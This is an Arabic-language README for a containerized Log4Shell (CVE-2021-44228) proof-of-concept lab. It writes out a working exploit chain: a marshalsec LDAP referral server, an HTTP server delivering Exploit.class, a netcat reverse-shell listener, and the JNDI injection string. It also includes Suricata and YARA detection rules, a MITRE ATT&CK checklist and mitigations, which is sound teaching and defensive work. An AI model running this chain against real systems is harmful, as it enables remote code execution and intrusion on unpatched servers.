**Log4Shell PoC هي بيئة استغلال عالية الدقة مصممة لمحاكاة الثغرة CVE-2021-44228.** وهي توفر صندوق رمل معزول (containerized sandbox) لإثبات حقن JNDI، وإعادة توجيه الإحالات LDAP/RMI، وتنفيذ الأوامر عن بعد (RCE) عبر مكتبة Log4j 2.
██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║ ██║██╔════╝██║ ██║██╔════╝██║ ██║
██║ ██║ ██║██║ ███╗███████║███████╗███████║█████╗ ██║ ██║
██║ ██║ ██║██║ ██║╚════██║╚════██║██╔══██║██╔══╝ ██║ ██║
███████╗╚██████╔╝╚██████╔╝ ██║███████║██║ ██║███████╗███████╗███████╗
╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝
██████╗ ██████╗ ██████╗
██╔══██╗██╔═══██╗██╔════╝
██████╔╝██║ ██║██║
██╔═══╝ ██║ ██║██║
██║ ╚██████╔╝╚██████╔╝
╚═╝ ╚═════╝ ╚═════╝
⚡ LOG4SHELL (CVE-2021-44228) PoC LAB
[ PROOF OF CONCEPT & JNDI EXPLOITATION ]
Log4Shell PoC هي بيئة استغلال عالية الدقة مصممة لمحاكاة الثغرة الأمنية CVE-2021-44228. توفر صندوق حماية مُحَوْسَبًا لعرض حقن JNDI، وإعادة التوجيه المرجعي LDAP/RMI، وتنفيذ التعليمات البرمجية عن بُعد (RCE) عبر مكتبة Log4j 2.
للاستخدام التعليمي واختبار الأمان المصرح به فقط.
استخدام هذا الإثبات المفاهيمي لمهاجمة أهداف دون موافقة مسبقة متبادلة غير قانوني. يتحمل المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والفيدرالية المعمول بها. لا يتحمل المؤلفون أي مسؤولية ولا يتحملون المسؤولية عن أي فقدان للبيانات أو تلف النظام أو عواقب قانونية أو إساءة استخدام ناتجة عن هذا البرنامج. باستخدام هذا البرنامج، فإنك توافق على العمل ضمن الحدود القانونية لولايتك القضائية.
يتكون جانب المهاجم من ثلاث قنوات متميزة لتسهيل الإثبات المفاهيمي.
Exploit.class ليقوم الضحية بتنزيله وتنفيذه.بيئة OpenJDK 8 مُحَوْسَبَة تعمل على تطبيق Log4j ضعيف.
التبويب 1: خادم إحالة LDAP
docker run --rm -it -p 1389:1389 maven:3.8.6-openjdk-8 /bin/bash -c "
git clone [https://github.com/mbechler/marshalsec.git](https://github.com/mbechler/marshalsec.git) && \
cd marshalsec && \
mvn clean package -DskipTests && \
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer '[http://172.17.0.1:8888/#Exploit](http://172.17.0.1:8888/#Exploit)' 1389"
التبويب 2: توصيل حمولة HTTP
# ابدأ خادم بايثون في الدليل الذي يحتوي على Exploit.class
python3 -m http.server --bind 0.0.0.0 8888
التبويب 3: مستمع Netcat
nc -lvnp 9001
التبويب 4: تشغيل الحاوية الضعيفة
docker run --rm -it -v $(pwd):/app -w /app openjdk:8u121-jdk-alpine /bin/sh
داخل الحاوية: تشغيل الإثبات المفاهيمي
java -Dlog4j2.formatMsgNoLookups=false \
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true \
-cp ".:log4j-api-2.14.1.jar:log4j-core-2.14.1.jar" \
VulnerableLog '${jndi:ldap://172.17.0.1:1389/Exploit}'
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET EXPLOIT Possible Log4j RCE Attempt (jndi)"; content:"jndi|3a|"; nocase; sid:2034647; rev:1;)
rule Log4Shell_PoC_JNDI {
meta:
description = "يكتشف سلاسل بحث JNDI في السجلات المستخدمة في الإثبات المفاهيمي"
author = "Apex Pro Framework"
strings:
$jndi = / \$\{jndi:(ldap|rmi|dns|nis|iiop|corba|lds):/ i
$obfuscated = /\$\{\$\{[^}]+\}ndi:/ i
condition:
any of them
}
| المرحلة | التقنية | تم تفعيل التنبيه؟ | MITRE ATT&CK |
|---|---|---|---|
| الوصول الأولي | استغلال التطبيق المواجه للعموم | [ ] | T1190 |
| التنفيذ | مترجم الأوامر والنصوص البرمجية | [ ] | T1059 |
| القيادة والتحكم | بروتوكول طبقة التطبيق (LDAP) | [ ] | T1071.003 |
| التسريب | بروتوكول غير طبقة التطبيق | [ ] | T1048 |
-Dlog4j2.formatMsgNoLookups=true لتعطيل عمليات البحث.JndiLookup.class يدويًا من ملف JAR الخاص بـ log4j-core.172.17.0.0/16).